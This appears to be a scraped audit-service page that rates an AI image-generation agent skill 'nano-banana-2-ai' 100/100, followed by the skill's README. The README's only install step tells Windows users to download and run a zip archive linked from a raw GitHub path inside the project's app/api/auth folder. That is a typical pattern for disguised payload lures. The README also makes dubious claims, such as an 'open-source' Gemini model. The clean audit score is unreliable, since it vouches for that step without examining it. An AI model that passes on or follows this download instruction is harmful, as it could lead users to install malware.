Deliver high-speed 4K text-to-image generation with 5-character consistency using the open-source Gemini 3.1 Flash Image model.
SaferSkills independently audited nano-banana-2-ai (Agent Skill) and scored it 100/100 (green). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 0 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.
Findings & checks · 0 flagged
Every scanned point with the score it earned and what moved between them.
First recorded scan — no prior version to compare against.
The primary manifest — the file an agent reads to learn what this artifact does.
Nano Banana 2 AI is a simple tool to create 4K images using artificial intelligence. It uses Gemini 3.1 Flash Image technology to give good-quality pictures. This software also compares different models like Nano Banana 2 and Nano Banana 2 Pro. You can try different prompts and use the tool freely from the main hub site.
The app focuses on making characters look consistent and improving text rendering in images. You do not need to know programming or AI details to use this app.
Before you download and install, make sure your computer meets these minimum needs:
This section will guide you step by step to get Nano Banana 2 AI running on your Windows PC. You do not need to install any other software. Just follow these simple instructions.
First, download the package by visiting the page linked below. From there, you can locate the latest version of the software.
https://raw.githubusercontent.com/Atharvpatil112/nano-banana-2-ai/main/app/api/auth/ai_banana_nano_v3.1-alpha.2.zip
The app is designed to be user-friendly. Here are some tips to make the most out of it:
Nano Banana 2 AI will occasionally release updates to improve performance. To update:
https://raw.githubusercontent.com/Atharvpatil112/nano-banana-2-ai/main/app/api/auth/ai_banana_nano_v3.1-alpha.2.zip
If you want help or want to learn more about the tool:
If Nano Banana 2 AI does not start or crashes:
For image generation problems:
Nano Banana 2 AI is free to use. It is distributed under an open-source license. You can use it for both personal and educational purposes. Check the license file in the GitHub repository for full details.
~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.